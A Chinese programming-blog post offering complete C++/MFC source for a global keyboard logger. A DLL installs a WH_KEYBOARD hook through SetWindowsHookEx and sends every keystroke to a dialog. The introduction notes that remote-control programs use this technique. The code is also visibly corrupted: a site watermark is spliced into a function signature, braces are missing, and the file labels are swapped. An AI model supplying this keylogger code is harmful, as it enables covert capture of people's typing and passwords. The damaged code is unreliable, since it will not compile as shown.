热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

C++实现的键盘输入记录程序源代码分析与应用

本文详细解析了使用C++实现的键盘输入记录程序的源代码,该程序在Windows应用程序开发中具有很高的实用价值。键盘记录功能不仅在远程控制软件中广泛应用,还为开发者提供了强大的调试和监控工具。通过具体实例,本文深入探讨了C++键盘记录程序的设计与实现,适合需要相关技术的开发者参考。

这篇文章主要介绍了C++键盘记录程序代码,是Windows应用程序开发中非常实用的功能,该功能也常被一些远程操控程序所实用,需要的朋友可以参考下

本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:

主程序如下:

就是基于对话框的框架,加个个OnHookKey函数,

代码如下:
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format(“按键:%s\r\n”, szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

在初始化时,调用DLL中的:

代码如下:
SetKeyHook(TRUE, 0, m_hWnd)

在析构时,调用DLL中的:

代码如下:
SetKeyHook(FALSE);

.cpp源文件代码:

代码如下:
#include  
#define  HM_KEY WM_USER+100 
//CMyApp 
class CMyApp:public CWinApp 

public: 
    BOOL InitInstance(); 
}; 
 
//CMyDialog 
class CMainDialog:public CDialog 

public: 
    CMainDialog(CWnd* pParentWnd = NULL); 
 
protected: 
    virtual BOOL OnInitDialog( ); 
    afx_msg void OnCancel(); 
    afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明 
 
    DECLARE_MESSAGE_MAP() 
};

.h头文件代码:

代码如下:
#include “resource.h” 
#include “KeyHookApp.h” 
#include “KeyHook.h” 
#pragma comment(lib,”KeyHook.lib”) 
 
CMyApp theApp; 
 
BOOL CMyApp::InitInstance() 

    CMainDialog dlg; 
    m_pMainWnd = &dlg;   //给m_pMainWnd 主窗口 
    dlg.DoModal(); 
    return FALSE; //不进入消息循环 

 
BEGIN_MESSAGE_MAP(CMainDialog, CDialog) 
    ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息 
END_MESSAGE_MAP() 
 
//CMainDialog 
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)   
{   
 
}  
BOOL CMainDialog::OnInitDialog( ) 

    CDialog::OnInitDialog(); 
    if (!SetKeyHook(TRUE, 0, m_hWnd)) 
    { 
        MessageBox(“安装钩子失败”); 
    } 
     
    return TRUE; 

//处理关闭消息 
void CMainDialog::OnCancel() 

    OutputDebugString(“oncancel”); 
    SetKeyHook(FALSE); 
    CDialog::OnCancel(); 
    return; 

long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息 

    char szKey[80]={0}; 
    GetKeyNameText(lParam, szKey, 80); 
    CString strItem; 
    strItem.Format(“按键:%s\r\n”, szKey); 
    CString strEdit; 
    GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); 
    GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); 
    ::MessageBeep(MB_OK); 
    return 0; 
}

dll的代码:
.cpp源文件代码:

代码如下:
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。 
// 
 
#include “stdafx.h” 
#include “KeyHook.h” 
 
 
//共享数据段 
#pragma data_seg(“YCIShared”) 
HWND g_hWndCaller=NULL; //保存主窗口句柄 
HHOOK g_hHook = NULL; //保存钩子句柄  
#pragma data_seg() 
// 这是导出变量的一个示例 
KEYHOOK_API int nKeyHook=0; 
 
// 这是导出函数的一个示例。 
KEYHOOK_API int fnKeyHook(void来源gaodai#ma#com搞*!代#%^码网

    return 42; 

 
 
//通过内存得到模块句柄的帮助函数 
HMODULE WINAPI ModuleFromAddress(LPVOID pv) 

    MEMORY_BASIC_INFORMATION  mbi; 
    if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) 
    { 
        return (HMODULE)mbi.AllocationBase; 
    } 
    else 
    { 
        return NULL; 
    } 

//钩子处理函数 
LRESULT CALLBACK KeyboardProc( 
    __in  int code, 
    __in  WPARAM wParam, 
    __in  LPARAM lParam 
    ) 

    if (code<0||code==HC_NOREM) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //如果重复消息,交给下一链 
    if (lParam & 0x40000000) 
    { 
        return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
    } 
    //通知主窗口 
    ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam); 
    return ::CallNextHookEx(g_hHook, code, wParam,lParam); 
     

//安装和卸载钩子函数 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller) 

    BOOL bRet = TRUE; 
    g_hWndCaller = hWndCaller; 
    if (bInstall) //安装钩子 
    { 
        g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId); 
        bRet = (g_hHook != NULL); 
    } 
    else //卸载钩子 
    { 
        ::UnhookWindowsHookEx(g_hHook); 
        g_hHook = NULL; 
    } 
    return bRet; 

// 这是已导出类的构造函数。 
// 有关类定义的信息,请参阅 KeyHook.h 
CKeyHook::CKeyHook() 

    return; 
}

.h头文件代码:

代码如下:
// 下列 ifdef 块是创建使从 DLL 导出更简单的 
// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS 
// 符号编译的。在使用此 DLL 的 
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将 
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的 
// 符号视为是被导出的。 
#ifdef KEYHOOK_EXPORTS 
#define KEYHOOK_API __declspec(dllexport) 
#else 
#define KEYHOOK_API __declspec(dllimport) 
#endif 
 
#define  HM_KEY WM_USER + 100 
// 此类是从 KeyHook.dll 导出的 
class KEYHOOK_API CKeyHook { 
public: 
    CKeyHook(void); 
    // TODO: 在此添加您的方法。 
}; 
 
extern KEYHOOK_API int nKeyHook; 
 
KEYHOOK_API int fnKeyHook(void); 
 
//声明要导出的 
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);

.def代码:

代码如下:
EXPORTS 
    SetKeyHook 
SECTIONS 
    YCIShared  Read Write Shared

希望本文所述对大家的C++程序设计有所帮助。

以上就是C++键盘记录程序代码的详细内容,更多请关注gaodaima编程笔记其它相关文章!



推荐阅读
  • 在C#编程中,数值结果的格式化展示是提高代码可读性和用户体验的重要手段。本文探讨了多种格式化方法和技巧,如使用格式说明符、自定义格式字符串等,以实现对数值结果的精确控制。通过实例演示,展示了如何灵活运用这些技术来满足不同的展示需求。 ... [详细]
  • Halcon之图像梯度、图像边缘、USM锐化
    图像梯度、图像边缘、USM锐化图像梯度、图像边缘、USM锐化图像梯度、图像边缘、USM锐化图像卷积:1.模糊2.梯度3.边缘4.锐化1.视频教程:B站、 ... [详细]
  • 单片微机原理P3:80C51外部拓展系统
      外部拓展其实是个相对来说很好玩的章节,可以真正开始用单片机写程序了,比较重要的是外部存储器拓展,81C55拓展,矩阵键盘,动态显示,DAC和ADC。0.IO接口电路概念与存 ... [详细]
  • [转]doc,ppt,xls文件格式转PDF格式http:blog.csdn.netlee353086articledetails7920355确实好用。需要注意的是#import ... [详细]
  • 本文介绍如何使用 Python 的 DOM 和 SAX 方法解析 XML 文件,并通过示例展示了如何动态创建数据库表和处理大量数据的实时插入。 ... [详细]
  • 本文详细介绍了 PHP 中对象的生命周期、内存管理和魔术方法的使用,包括对象的自动销毁、析构函数的作用以及各种魔术方法的具体应用场景。 ... [详细]
  • poj 3352 Road Construction ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • 本文详细介绍了MySQL数据库的基础语法与核心操作,涵盖从基础概念到具体应用的多个方面。首先,文章从基础知识入手,逐步深入到创建和修改数据表的操作。接着,详细讲解了如何进行数据的插入、更新与删除。在查询部分,不仅介绍了DISTINCT和LIMIT的使用方法,还探讨了排序、过滤和通配符的应用。此外,文章还涵盖了计算字段以及多种函数的使用,包括文本处理、日期和时间处理及数值处理等。通过这些内容,读者可以全面掌握MySQL数据库的核心操作技巧。 ... [详细]
  • 如何使用 `org.opencb.opencga.core.results.VariantQueryResult.getSource()` 方法及其代码示例详解 ... [详细]
  • PTArchiver工作原理详解与应用分析
    PTArchiver工作原理及其应用分析本文详细解析了PTArchiver的工作机制,探讨了其在数据归档和管理中的应用。PTArchiver通过高效的压缩算法和灵活的存储策略,实现了对大规模数据的高效管理和长期保存。文章还介绍了其在企业级数据备份、历史数据迁移等场景中的实际应用案例,为用户提供了实用的操作建议和技术支持。 ... [详细]
  • 在《ChartData类详解》一文中,我们将深入探讨 MPAndroidChart 中的 ChartData 类。本文将详细介绍如何设置图表颜色(Setting Colors)以及如何格式化数据值(Formatting Data Values),通过 ValueFormatter 的使用来提升图表的可读性和美观度。此外,我们还将介绍一些高级配置选项,帮助开发者更好地定制和优化图表展示效果。 ... [详细]
  • 深入剖析Java中SimpleDateFormat在多线程环境下的潜在风险与解决方案
    深入剖析Java中SimpleDateFormat在多线程环境下的潜在风险与解决方案 ... [详细]
  • 本文介绍了一种在ANSI C中动态分配二维数组的方法。通过创建指针数组并为每个指针分配连续空间,可以灵活地管理内存。文章还讨论了一些常见的错误和注意事项。 ... [详细]
  • 详解 Qt 串口通信程序全程图文 (4)
    Qt串口通信程序全程图文是本文介绍的内容,本文一开始先讲解对程序的改进,在文章最后将要讲解一些重要问题。1、在窗口中加入一些组合框ComboBox&# ... [详细]
author-avatar
王志春aiq_411_154_739_273
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有